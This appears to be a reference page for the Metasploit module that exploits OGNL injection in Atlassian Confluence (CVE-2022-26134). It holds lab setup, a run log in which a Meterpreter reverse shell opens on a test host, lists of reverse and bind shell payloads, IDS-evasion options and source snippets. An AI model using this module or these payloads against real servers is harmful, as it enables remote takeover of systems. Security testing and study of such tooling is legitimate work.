Atlassian Confluence Namespace OGNL Injection - Metasploit


This page contains detailed information about how to use the exploit/multi/http/atlassian_confluence_namespace_ognl_injection metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.

Module Overview


Name: Atlassian Confluence Namespace OGNL Injection
Module: exploit/multi/http/atlassian_confluence_namespace_ognl_injection
Source code: modules/exploits/multi/http/atlassian_confluence_namespace_ognl_injection.rb
Disclosure date: 2022-06-02
Last modification time: 2022-06-06 22:03:21 +0000
Supported architecture(s): cmd, x86, x64
Supported platform(s): Linux, Unix
Target service / protocol: http, https
Target network port(s): 80, 443, 3000, 8000, 8008, 8080, 8090, 8443, 8880, 8888
List of CVEs: CVE-2021-26084, CVE-2022-26134

This module exploits an OGNL injection in Atlassian Confluence servers. A specially crafted URI can be used to evaluate an OGNL expression resulting in OS command execution.

Module Ranking and Traits


Module Ranking:

  • excellent: The exploit will never crash the service. This is the case for SQL Injection, CMD execution, RFI, LFI, etc. No typical memory corruption exploits should be given this ranking unless there are extraordinary circumstances. More information about ranking can be found here.

Reliability:

  • repeatable-session: The module is expected to get a shell every time it runs.

Stability:

  • crash-safe: Module should not crash the service.

Side Effects:

  • ioc-in-logs: Module leaves signs of a compromise in a log file (Example: SQL injection data found in HTTP log).
  • artifacts-on-disk: Modules leaves a payload or a dropper on the target machine.

Basic Usage


msf > use exploit/multi/http/atlassian_confluence_namespace_ognl_injection
msf exploit(atlassian_confluence_namespace_ognl_injection) > exploit

Required Options


  • RHOSTS: The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit

Knowledge Base


Vulnerable Application


This module exploits an OGNL injection in Atlassian Confluence servers. A specially crafted URI can be used to evaluate an OGNL expression resulting in OS command execution.

Confluence versions up to and including 7.18 are vulnerable to this OGNL injection flaw. For more complete information on affected and fixed versions, see CONFSERVER-79000.

Setup

  1. Create a new docker-compose.yml file with the contents below.
  2. Startup the container using docker-compose up
  3. Navigate to the HTTP service running on port 8090
  4. Acquire and provide an evaluation license
  5. When prompted, setup a standalone / non-clustered system
  6. Configure the database settings
    1. Select "By connection string", then Database URL: jdbc:postgresql://postgresql:5432/confdb
    2. Username and password are both confdb
  7. Setup takes a few minutes
  8. When prompted, select "Empty Site"
  9. Select "Manage users and groups within Confluence"
  10. Create an account, it will not be needed for exploitation
  11. Once setup has completed select "Start" and set a space name to something

Docker Compose File


version: '3'

services:
  postgresql:
    image: postgres:11
    environment:
      POSTGRES_DB: confdb
      POSTGRES_USER: confdb
      POSTGRES_PASSWORD: confdb
    ports:
      - '5432:5432'

  confluence-server:
    depends_on:
      - postgresql
    image: atlassian/confluence:7.13.0
    ports:
      - '8090:8090'
      - '8091:8091'

Verification Steps


  1. Follow the steps from the Setup section to create a test instance
  2. Start msfconsole
  3. Run: use exploit/multi/http/atlassian_confluence_namespace_ognl_injection
  4. Set the RHOSTS, PAYLOAD and payload-related options
  5. Run the module

Scenarios


Confluence 7.13.0 in [Docker]

msf6 exploit(multi/http/atlassian_confluence_namespace_ognl_injection) > set RHOSTS 192.168.159.100
RHOSTS => 192.168.159.100
msf6 exploit(multi/http/atlassian_confluence_namespace_ognl_injection) > set PAYLOAD cmd/unix/python/meterpreter/reverse_tcp
PAYLOAD => cmd/unix/python/meterpreter/reverse_tcp
msf6 exploit(multi/http/atlassian_confluence_namespace_ognl_injection) > set LHOST 192.168.159.128
LHOST => 192.168.159.128
msf6 exploit(multi/http/atlassian_confluence_namespace_ognl_injection) > check
[+] 192.168.159.100:8090 - The target is vulnerable. Successfully tested OGNL injection.
msf6 exploit(multi/http/atlassian_confluence_namespace_ognl_injection) > exploit

[*] Started reverse TCP handler on 192.168.159.128:4444 
[!] AutoCheck is disabled, proceeding with exploitation
[*] Executing cmd/unix/python/meterpreter/reverse_tcp (Unix Command)
[*] Sending stage (40132 bytes) to 192.168.159.100
[*] Meterpreter session 1 opened (192.168.159.128:4444 -> 192.168.159.100:42050) at 2022-06-03 17:14:41 -0400

meterpreter > getuid
Server username: confluence
meterpreter > sysinfo
Computer        : 5052c5eebf8a
OS              : Linux 5.15.0-35-generic #36-Ubuntu SMP Sat May 21 02:24:07 UTC 2022
Architecture    : x64
System Language : en_US
Meterpreter     : python/linux
meterpreter > 

Go back to menu.

Msfconsole Usage


Here is how the multi/http/atlassian_confluence_namespace_ognl_injection exploit module looks in the msfconsole:

msf6 > use exploit/multi/http/atlassian_confluence_namespace_ognl_injection

[*] No payload configured, defaulting to cmd/unix/python/meterpreter/reverse_tcp
msf6 exploit(multi/http/atlassian_confluence_namespace_ognl_injection) > show info

       Name: Atlassian Confluence Namespace OGNL Injection
     Module: exploit/multi/http/atlassian_confluence_namespace_ognl_injection
   Platform: Unix, Linux
       Arch: cmd, x86, x64
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2022-06-02

Provided by:
  Unknown
  bturner-r7
  jbaines-r7
  Spencer McIntyre

Module side effects:
 ioc-in-logs
 artifacts-on-disk

Module stability:
 crash-safe

Module reliability:
 repeatable-session

Available targets:
  Id  Name
  --  ----
  0   Unix Command
  1   Linux Dropper

Check supported:
  Yes

Basic options:
  Name       Current Setting  Required  Description
  ----       ---------------  --------  -----------
  Proxies                     no        A proxy chain of format type:host:port[,type:host:port][.
                                        ..]
  RHOSTS                      yes       The target host(s), see https://github.com/rapid7/metaspl
                                        oit-framework/wiki/Using-Metasploit
  RPORT      8090             yes       The target port (TCP)
  SRVHOST    0.0.0.0          yes       The local host or network interface to listen on. This mu
                                        st be an address on the local machine or 0.0.0.0 to liste
                                        n on all addresses.
  SRVPORT    8080             yes       The local port to listen on.
  SSL        false            no        Negotiate SSL/TLS for outgoing connections
  SSLCert                     no        Path to a custom SSL certificate (default is randomly gen
                                        erated)
  TARGETURI  /                yes       Base path
  URIPATH                     no        The URI to use for this exploit (default is random)
  VHOST                       no        HTTP server virtual host

Payload information:

Description:
  This module exploits an OGNL injection in Atlassian Confluence 
  servers. A specially crafted URI can be used to evaluate an OGNL 
  expression resulting in OS command execution.

References:
  https://nvd.nist.gov/vuln/detail/CVE-2021-26084
  https://jira.atlassian.com/browse/CONFSERVER-79000?src=confmacro
  https://gist.githubusercontent.com/bturner-r7/1d0b62fac85235b94f1c95cc4c03fcf3/raw/478e53b6f68b5150eefd53e0956f23d53618d250/confluence-exploit.py
  https://github.com/jbaines-r7/through_the_wire
  https://attackerkb.com/topics/BH1D56ZEhs/cve-2022-26134/rapid7-analysis

Module Options


This is a complete list of options available in the multi/http/atlassian_confluence_namespace_ognl_injection exploit:

msf6 exploit(multi/http/atlassian_confluence_namespace_ognl_injection) > show options

Module options (exploit/multi/http/atlassian_confluence_namespace_ognl_injection):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   Proxies                     no        A proxy chain of format type:host:port[,type:host:port][
                                         ...]
   RHOSTS                      yes       The target host(s), see https://github.com/rapid7/metasp
                                         loit-framework/wiki/Using-Metasploit
   RPORT      8090             yes       The target port (TCP)
   SRVHOST    0.0.0.0          yes       The local host or network interface to listen on. This m
                                         ust be an address on the local machine or 0.0.0.0 to lis
                                         ten on all addresses.
   SRVPORT    8080             yes       The local port to listen on.
   SSL        false            no        Negotiate SSL/TLS for outgoing connections
   SSLCert                     no        Path to a custom SSL certificate (default is randomly ge
                                         nerated)
   TARGETURI  /                yes       Base path
   URIPATH                     no        The URI to use for this exploit (default is random)
   VHOST                       no        HTTP server virtual host

Payload options (cmd/unix/python/meterpreter/reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  192.168.0.126    yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port

Exploit target:

   Id  Name
   --  ----
   0   Unix Command

Advanced Options


Here is a complete list of advanced options supported by the multi/http/atlassian_confluence_namespace_ognl_injection exploit:

msf6 exploit(multi/http/atlassian_confluence_namespace_ognl_injection) > show advanced

Module advanced options (exploit/multi/http/atlassian_confluence_namespace_ognl_injection):

   Name                    Current Setting         Required  Description
   ----                    ---------------         --------  -----------
   AutoCheck               true                    no        Run check before exploit
   CMDSTAGER::DECODER                              no        The decoder stub to use.
   CMDSTAGER::FLAVOR       auto                    no        The CMD Stager to use. (Accepted: au
                                                             to, bourne, debug_asm, debug_write,
                                                             echo, printf, vbs, vbs_adodb, certut
                                                             il, tftp, wget, curl, fetch, lwprequ
                                                             est, psh_invokewebrequest)
   CMDSTAGER::SSL          false                   no        Use SSL/TLS for supported stagers
   CMDSTAGER::TEMP                                 no        Writable directory for staged files
   ContextInformationFile                          no        The information file that contains c
                                                             ontext information
   DOMAIN                  WORKSTATION             yes       The domain to use for Windows authen
                                                             tication
   DigestAuthIIS           true                    no        Conform to IIS, should work for most
                                                              servers. Only set to false for non-
                                                             IIS servers
   DisablePayloadHandler   false                   no        Disable the handler code for the sel
                                                             ected payload
   EXE::Custom                                     no        Use custom exe instead of automatica
                                                             lly generating a payload exe
   EXE::EICAR              false                   no        Generate an EICAR file instead of re
                                                             gular payload exe
   EXE::FallBack           false                   no        Use the default template in case the
                                                              specified one is missing
   EXE::Inject             false                   no        Set to preserve the original EXE fun
                                                             ction
   EXE::OldMethod          false                   no        Set to use the substitution EXE gene
                                                             ration method.
   EXE::Path                                       no        The directory in which to look for t
                                                             he executable template
   EXE::Template                                   no        The executable template file name.
   EnableContextEncoding   false                   no        Use transient context when encoding
                                                             payloads
   FingerprintCheck        true                    no        Conduct a pre-exploit fingerprint ve
                                                             rification
   ForceExploit            false                   no        Override check result
   HttpClientTimeout                               no        HTTP connection and receive timeout
   HttpPassword                                    no        The HTTP password to specify for aut
                                                             hentication
   HttpRawHeaders                                  no        Path to ERB-templatized raw headers
                                                             to append to existing headers
   HttpTrace               false                   no        Show the raw HTTP requests and respo
                                                             nses
   HttpTraceColors         red/blu                 no        HTTP request and response colors for
                                                              HttpTrace (unset to disable)
   HttpTraceHeadersOnly    false                   no        Show HTTP headers only in HttpTrace
   HttpUsername                                    no        The HTTP username to specify for aut
                                                             hentication
   ListenerBindAddress                             no        The specific IP address to bind to i
                                                             f different from SRVHOST
   ListenerBindPort                                no        The port to bind to if different fro
                                                             m SRVPORT
   ListenerComm                                    no        The specific communication channel t
                                                             o use for this service
   MSI::Custom                                     no        Use custom msi instead of automatica
                                                             lly generating a payload msi
   MSI::EICAR              false                   no        Generate an EICAR file instead of re
                                                             gular payload msi
   MSI::Path                                       no        The directory in which to look for t
                                                             he msi template
   MSI::Template                                   no        The msi template file name
   MSI::UAC                false                   no        Create an MSI with a UAC prompt (ele
                                                             vation to SYSTEM if accepted)
   SSLCipher                                       no        String for SSL cipher spec - "DHE-RS
                                                             A-AES256-SHA" or "ADH"
   SSLCompression          false                   no        Enable SSL/TLS-level compression
   SSLServerNameIndicatio                          no        SSL/TLS Server Name Indication (SNI)
   n
   SSLVersion              Auto                    yes       Specify the version of SSL/TLS to be
                                                              used (Auto, TLS and SSL23 are auto-
                                                             negotiate) (Accepted: Auto, TLS, SSL
                                                             23, SSL3, TLS1, TLS1.1, TLS1.2)
   SendRobots              false                   no        Return a robots.txt file if asked fo
                                                             r one
   URIHOST                                         no        Host to use in URI (useful for tunne
                                                             ls)
   URIPORT                                         no        Port to use in URI (useful for tunne
                                                             ls)
   UserAgent               Mozilla/5.0 (iPad; CPU  no        The User-Agent header to use for all
                            OS 15_3_1 like Mac OS             requests
                            X) AppleWebKit/605.1.
                           15 (KHTML, like Gecko)
                            Version/15.2 Mobile/1
                           5E148 Safari/604.1
   VERBOSE                 false                   no        Enable detailed status messages
   WORKSPACE                                       no        Specify the workspace for this modul
                                                             e
   WfsDelay                2                       no        Additional delay in seconds to wait
                                                             for a session

Payload advanced options (cmd/unix/python/meterpreter/reverse_tcp):

   Name                    Current Setting  Required  Description
   ----                    ---------------  --------  -----------
   AutoLoadStdapi          true             yes       Automatically load the Stdapi extension
   AutoRunScript                            no        A script to run automatically on session cr
                                                      eation.
   AutoSystemInfo          true             yes       Automatically capture system information on
                                                       initialization.
   AutoUnhookProcess       false            yes       Automatically load the unhook extension and
                                                       unhook the process
   AutoVerifySessionTimeo  30               no        Timeout period to wait for session validati
   ut                                                 on to occur, in seconds
   EnableStageEncoding     false            no        Encode the second stage payload
   EnableUnicodeEncoding   false            yes       Automatically encode UTF-8 strings as hexad
                                                      ecimal
   HandlerSSLCert                           no        Path to a SSL certificate in unified PEM fo
                                                      rmat, ignored for HTTP transports
   HttpCookie                               no        An optional value to use for the Cookie HTT
                                                      P header
   HttpHostHeader                           no        An optional value to use for the Host HTTP
                                                      header
   HttpReferer                              no        An optional value to use for the Referer HT
                                                      TP header
   InitialAutoRunScript                     no        An initial script to run on session creatio
                                                      n (before AutoRunScript)
   MeterpreterDebugBuild   false            no        Enable debugging for the Python meterpreter
   MeterpreterDebugLoggin                   no        The Meterpreter debug logging configuration
   g                                                  , see https://github.com/rapid7/metasploit-
                                                      framework/wiki/Meterpreter-Debugging-Meterp
                                                      reter-Sessions
   MeterpreterTryToFork    true             no        Fork a new process if the functionality is
                                                      available
   PayloadProcessCommandL                   no        The displayed command line that will be use
   ine                                                d by the payload
   PayloadUUIDName                          no        A human-friendly name to reference this uni
                                                      que payload (requires tracking)
   PayloadUUIDRaw                           no        A hex string representing the raw 8-byte PU
                                                      ID value for the UUID
   PayloadUUIDSeed                          no        A string to use when generating the payload
                                                       UUID (deterministic)
   PayloadUUIDTracking     false            yes       Whether or not to automatically register ge
                                                      nerated UUIDs
   PingbackRetries         0                yes       How many additional successful pingbacks
   PingbackSleep           30               yes       Time (in seconds) to sleep between pingback
                                                      s
   ReverseAllowProxy       false            yes       Allow reverse tcp even with Proxies specifi
                                                      ed. Connect back will NOT go through proxy
                                                      but directly to LHOST
   ReverseListenerBindAdd                   no        The specific IP address to bind to on the l
   ress                                               ocal system
   ReverseListenerBindPor                   no        The port to bind to on the local system if
   t                                                  different from LPORT
   ReverseListenerComm                      no        The specific communication channel to use f
                                                      or this listener
   ReverseListenerThreade  false            yes       Handle every connection in a new thread (ex
   d                                                  perimental)
   SessionCommunicationTi  300              no        The number of seconds of no activity before
   meout                                               this session should be killed
   SessionExpirationTimeo  604800           no        The number of seconds before this session s
   ut                                                 hould be forcibly shut down
   SessionRetryTotal       3600             no        Number of seconds try reconnecting for on n
                                                      etwork failure
   SessionRetryWait        10               no        Number of seconds to wait between reconnect
                                                       attempts
   StageEncoder                             no        Encoder to use if EnableStageEncoding is se
                                                      t
   StageEncoderSaveRegist                   no        Additional registers to preserve in the sta
   ers                                                ged payload if EnableStageEncoding is set
   StageEncodingFallback   true             no        Fallback to no encoding if the selected Sta
                                                      geEncoder is not compatible
   StagerRetryCount        10               no        The number of times the stager should retry
                                                       if the first connect fails
   StagerRetryWait         5                no        Number of seconds to wait for the stager be
                                                      tween reconnect attempts
   VERBOSE                 false            no        Enable detailed status messages
   WORKSPACE                                no        Specify the workspace for this module

Exploit Targets


Here is a list of targets (platforms and systems) which the multi/http/atlassian_confluence_namespace_ognl_injection module can exploit:

msf6 exploit(multi/http/atlassian_confluence_namespace_ognl_injection) > show targets

Exploit targets:

   Id  Name
   --  ----
   0   Unix Command
   1   Linux Dropper

Compatible Payloads


This is a list of possible payloads which can be delivered and executed on the target system using the multi/http/atlassian_confluence_namespace_ognl_injection exploit:

msf6 exploit(multi/http/atlassian_confluence_namespace_ognl_injection) > show payloads

Compatible Payloads
===================

   #   Name                                                  Disclosure Date  Rank    Check  Description
   -   ----                                                  ---------------  ----    -----  -----------
   0   payload/cmd/unix/bind_awk                                              normal  No     Unix Command Shell, Bind TCP (via AWK)
   1   payload/cmd/unix/bind_busybox_telnetd                                  normal  No     Unix Command Shell, Bind TCP (via BusyBox telnetd)
   2   payload/cmd/unix/bind_jjs                                              normal  No     Unix Command Shell, Bind TCP (via jjs)
   3   payload/cmd/unix/bind_lua                                              normal  No     Unix Command Shell, Bind TCP (via Lua)
   4   payload/cmd/unix/bind_netcat                                           normal  No     Unix Command Shell, Bind TCP (via netcat)
   5   payload/cmd/unix/bind_netcat_gaping                                    normal  No     Unix Command Shell, Bind TCP (via netcat -e)
   6   payload/cmd/unix/bind_netcat_gaping_ipv6                               normal  No     Unix Command Shell, Bind TCP (via netcat -e) IPv6
   7   payload/cmd/unix/bind_nodejs                                           normal  No     Unix Command Shell, Bind TCP (via nodejs)
   8   payload/cmd/unix/bind_perl                                             normal  No     Unix Command Shell, Bind TCP (via Perl)
   9   payload/cmd/unix/bind_perl_ipv6                                        normal  No     Unix Command Shell, Bind TCP (via perl) IPv6
   10  payload/cmd/unix/bind_r                                                normal  No     Unix Command Shell, Bind TCP (via R)
   11  payload/cmd/unix/bind_ruby                                             normal  No     Unix Command Shell, Bind TCP (via Ruby)
   12  payload/cmd/unix/bind_ruby_ipv6                                        normal  No     Unix Command Shell, Bind TCP (via Ruby) IPv6
   13  payload/cmd/unix/bind_socat_udp                                        normal  No     Unix Command Shell, Bind UDP (via socat)
   14  payload/cmd/unix/bind_stub                                             normal  No     Unix Command Shell, Bind TCP (stub)
   15  payload/cmd/unix/bind_zsh                                              normal  No     Unix Command Shell, Bind TCP (via Zsh)
   16  payload/cmd/unix/generic                                               normal  No     Unix Command, Generic Command Execution
   17  payload/cmd/unix/pingback_bind                                         normal  No     Unix Command Shell, Pingback Bind TCP (via netcat)
   18  payload/cmd/unix/pingback_reverse                                      normal  No     Unix Command Shell, Pingback Reverse TCP (via netcat)
   19  payload/cmd/unix/python/meterpreter/bind_tcp                           normal  No     Python Exec, Python Meterpreter, Python Bind TCP Stager
   20  payload/cmd/unix/python/meterpreter/bind_tcp_uuid                      normal  No     Python Exec, Python Meterpreter, Python Bind TCP Stager with UUID Support
   21  payload/cmd/unix/python/meterpreter/reverse_http                       normal  No     Python Exec, Python Meterpreter, Python Reverse HTTP Stager
   22  payload/cmd/unix/python/meterpreter/reverse_https                      normal  No     Python Exec, Python Meterpreter, Python Reverse HTTPS Stager
   23  payload/cmd/unix/python/meterpreter/reverse_tcp                        normal  No     Python Exec, Python Meterpreter, Python Reverse TCP Stager
   24  payload/cmd/unix/python/meterpreter/reverse_tcp_ssl                    normal  No     Python Exec, Python Meterpreter, Python Reverse TCP SSL Stager
   25  payload/cmd/unix/python/meterpreter/reverse_tcp_uuid                   normal  No     Python Exec, Python Meterpreter, Python Reverse TCP Stager with UUID Support
   26  payload/cmd/unix/python/meterpreter_bind_tcp                           normal  No     Python Exec, Python Meterpreter Shell, Bind TCP Inline
   27  payload/cmd/unix/python/meterpreter_reverse_http                       normal  No     Python Exec, Python Meterpreter Shell, Reverse HTTP Inline
   28  payload/cmd/unix/python/meterpreter_reverse_https                      normal  No     Python Exec, Python Meterpreter Shell, Reverse HTTPS Inline
   29  payload/cmd/unix/python/meterpreter_reverse_tcp                        normal  No     Python Exec, Python Meterpreter Shell, Reverse TCP Inline
   30  payload/cmd/unix/python/pingback_bind_tcp                              normal  No     Python Exec, Python Pingback, Bind TCP (via python)
   31  payload/cmd/unix/python/pingback_reverse_tcp                           normal  No     Python Exec, Python Pingback, Reverse TCP (via python)
   32  payload/cmd/unix/python/shell_bind_tcp                                 normal  No     Python Exec, Command Shell, Bind TCP (via python)
   33  payload/cmd/unix/python/shell_reverse_tcp                              normal  No     Python Exec, Command Shell, Reverse TCP (via python)
   34  payload/cmd/unix/python/shell_reverse_tcp_ssl                          normal  No     Python Exec, Command Shell, Reverse TCP SSL (via python)
   35  payload/cmd/unix/python/shell_reverse_udp                              normal  No     Python Exec, Command Shell, Reverse UDP (via python)
   36  payload/cmd/unix/reverse                                               normal  No     Unix Command Shell, Double Reverse TCP (telnet)
   37  payload/cmd/unix/reverse_awk                                           normal  No     Unix Command Shell, Reverse TCP (via AWK)
   38  payload/cmd/unix/reverse_bash                                          normal  No     Unix Command Shell, Reverse TCP (/dev/tcp)
   39  payload/cmd/unix/reverse_bash_telnet_ssl                               normal  No     Unix Command Shell, Reverse TCP SSL (telnet)
   40  payload/cmd/unix/reverse_bash_udp                                      normal  No     Unix Command Shell, Reverse UDP (/dev/udp)
   41  payload/cmd/unix/reverse_jjs                                           normal  No     Unix Command Shell, Reverse TCP (via jjs)
   42  payload/cmd/unix/reverse_ksh                                           normal  No     Unix Command Shell, Reverse TCP (via Ksh)
   43  payload/cmd/unix/reverse_lua                                           normal  No     Unix Command Shell, Reverse TCP (via Lua)
   44  payload/cmd/unix/reverse_ncat_ssl                                      normal  No     Unix Command Shell, Reverse TCP (via ncat)
   45  payload/cmd/unix/reverse_netcat                                        normal  No     Unix Command Shell, Reverse TCP (via netcat)
   46  payload/cmd/unix/reverse_netcat_gaping                                 normal  No     Unix Command Shell, Reverse TCP (via netcat -e)
   47  payload/cmd/unix/reverse_nodejs                                        normal  No     Unix Command Shell, Reverse TCP (via nodejs)
   48  payload/cmd/unix/reverse_openssl                                       normal  No     Unix Command Shell, Double Reverse TCP SSL (openssl)
   49  payload/cmd/unix/reverse_perl                                          normal  No     Unix Command Shell, Reverse TCP (via Perl)
   50  payload/cmd/unix/reverse_perl_ssl                                      normal  No     Unix Command Shell, Reverse TCP SSL (via perl)
   51  payload/cmd/unix/reverse_php_ssl                                       normal  No     Unix Command Shell, Reverse TCP SSL (via php)
   52  payload/cmd/unix/reverse_python                                        normal  No     Unix Command Shell, Reverse TCP (via Python)
   53  payload/cmd/unix/reverse_python_ssl                                    normal  No     Unix Command Shell, Reverse TCP SSL (via python)
   54  payload/cmd/unix/reverse_r                                             normal  No     Unix Command Shell, Reverse TCP (via R)
   55  payload/cmd/unix/reverse_ruby                                          normal  No     Unix Command Shell, Reverse TCP (via Ruby)
   56  payload/cmd/unix/reverse_ruby_ssl                                      normal  No     Unix Command Shell, Reverse TCP SSL (via Ruby)
   57  payload/cmd/unix/reverse_socat_udp                                     normal  No     Unix Command Shell, Reverse UDP (via socat)
   58  payload/cmd/unix/reverse_ssh                                           normal  No     Unix Command Shell, Reverse TCP SSH
   59  payload/cmd/unix/reverse_ssl_double_telnet                             normal  No     Unix Command Shell, Double Reverse TCP SSL (telnet)
   60  payload/cmd/unix/reverse_stub                                          normal  No     Unix Command Shell, Reverse TCP (stub)
   61  payload/cmd/unix/reverse_tclsh                                         normal  No     Unix Command Shell, Reverse TCP (via Tclsh)
   62  payload/cmd/unix/reverse_zsh                                           normal  No     Unix Command Shell, Reverse TCP (via Zsh)
   63  payload/generic/custom                                                 normal  No     Custom Payload
   64  payload/generic/shell_bind_tcp                                         normal  No     Generic Command Shell, Bind TCP Inline
   65  payload/generic/shell_reverse_tcp                                      normal  No     Generic Command Shell, Reverse TCP Inline
   66  payload/generic/ssh/interact                                           normal  No     Interact with Established SSH Connection

Evasion Options


Here is the full list of possible evasion options supported by the multi/http/atlassian_confluence_namespace_ognl_injection exploit in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):

msf6 exploit(multi/http/atlassian_confluence_namespace_ognl_injection) > show evasion

Module evasion options:

   Name                    Current Setting  Required  Description
   ----                    ---------------  --------  -----------
   HTTP::chunked           false            no        Enable chunking of HTTP responses via "Tran
                                                      sfer-Encoding: chunked"
   HTTP::compression       none             no        Enable compression of HTTP responses via co
                                                      ntent encoding (Accepted: none, gzip, defla
                                                      te)
   HTTP::header_folding    false            no        Enable folding of HTTP headers
   HTTP::junk_headers      false            no        Enable insertion of random junk HTTP header
                                                      s
   HTTP::method_random_ca  false            no        Use random casing for the HTTP method
   se
   HTTP::method_random_in  false            no        Use a random invalid, HTTP method for reque
   valid                                              st
   HTTP::method_random_va  false            no        Use a random, but valid, HTTP method for re
   lid                                                quest
   HTTP::no_cache          false            no        Disallow the browser to cache HTTP content
   HTTP::pad_fake_headers  false            no        Insert random, fake headers into the HTTP r
                                                      equest
   HTTP::pad_fake_headers  0                no        How many fake headers to insert into the HT
   _count                                             TP request
   HTTP::pad_get_params    false            no        Insert random, fake query string variables
                                                      into the request
   HTTP::pad_get_params_c  16               no        How many fake query string variables to ins
   ount                                               ert into the request
   HTTP::pad_method_uri_c  1                no        How many whitespace characters to use betwe
   ount                                               en the method and uri
   HTTP::pad_method_uri_t  space            no        What type of whitespace to use between the
   ype                                                method and uri (Accepted: space, tab, apach
                                                      e)
   HTTP::pad_post_params   false            no        Insert random, fake post variables into the
                                                       request
   HTTP::pad_post_params_  16               no        How many fake post variables to insert into
   count                                               the request
   HTTP::pad_uri_version_  1                no        How many whitespace characters to use betwe
   count                                              en the uri and version
   HTTP::pad_uri_version_  space            no        What type of whitespace to use between the
   type                                               uri and version (Accepted: space, tab, apac
                                                      he)
   HTTP::server_name       Apache           yes       Configures the Server header of all outgoin
                                                      g replies
   HTTP::uri_dir_fake_rel  false            no        Insert fake relative directories into the u
   ative                                              ri
   HTTP::uri_dir_self_ref  false            no        Insert self-referential directories into th
   erence                                             e uri
   HTTP::uri_encode_mode   hex-normal       no        Enable URI encoding (Accepted: none, hex-no
                                                      rmal, hex-noslashes, hex-random, hex-all, u
                                                      -normal, u-all, u-random)
   HTTP::uri_fake_end      false            no        Add a fake end of URI (eg: /%20HTTP/1.0/../
                                                      ../)
   HTTP::uri_fake_params_  false            no        Add a fake start of params to the URI (eg:
   start                                              /%3fa=b/../)
   HTTP::uri_full_url      false            no        Use the full URL for all HTTP requests
   HTTP::uri_use_backslas  false            no        Use back slashes instead of forward slashes
   hes                                                 in the uri
   HTTP::version_random_i  false            no        Use a random invalid, HTTP version for requ
   nvalid                                             est
   HTTP::version_random_v  false            no        Use a random, but valid, HTTP version for r
   alid                                               equest
   TCP::max_send_size      0                no        Maximum tcp segment size.  (0 = disable)
   TCP::send_delay         0                no        Delays inserted before every send.  (0 = di
                                                      sable)

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Error Messages


This module may fail with the following error messages:

Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.

Failed to test OGNL injection.


Here is a relevant code snippet related to the "Failed to test OGNL injection." error message:

82:	    res = inject_ognl('', header: header) # empty command works for testing, the header will be set
83:	
84:	    return CheckCode::Unknown unless res
85:	
86:	    unless res && res.headers.include?(header)
87:	      return CheckCode::Safe('Failed to test OGNL injection.')
88:	    end
89:	
90:	    CheckCode::Vulnerable('Successfully tested OGNL injection.')
91:	  end
92:	

Successfully tested OGNL injection.


Here is a relevant code snippet related to the "Successfully tested OGNL injection." error message:

85:	
86:	    unless res && res.headers.include?(header)
87:	      return CheckCode::Safe('Failed to test OGNL injection.')
88:	    end
89:	
90:	    CheckCode::Vulnerable('Successfully tested OGNL injection.')
91:	  end
92:	
93:	  def get_confluence_version
94:	    return @confluence_version if @confluence_version
95:	

Failed to execute command: <CMD>


Here is a relevant code snippet related to the "Failed to execute command: <CMD>" error message:

120:	  def execute_command(cmd, _opts = {})
121:	    header = "X-#{Rex::Text.rand_text_alphanumeric(10..15)}"
122:	    res = inject_ognl(cmd, header: header)
123:	
124:	    unless res && res.headers.include?(header)
125:	      fail_with(Failure::PayloadFailed, "Failed to execute command: #{cmd}")
126:	    end
127:	
128:	    vprint_good("Successfully executed command: #{cmd}")
129:	    res.headers[header]
130:	  end

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References


See Also


Check also the following modules related to this module:

Authors


  • Unknown
  • bturner-r7
  • jbaines-r7
  • Spencer McIntyre

Version


This page has been produced using Metasploit Framework version 6.2.4-dev. For more modules, visit the Metasploit Module Library.

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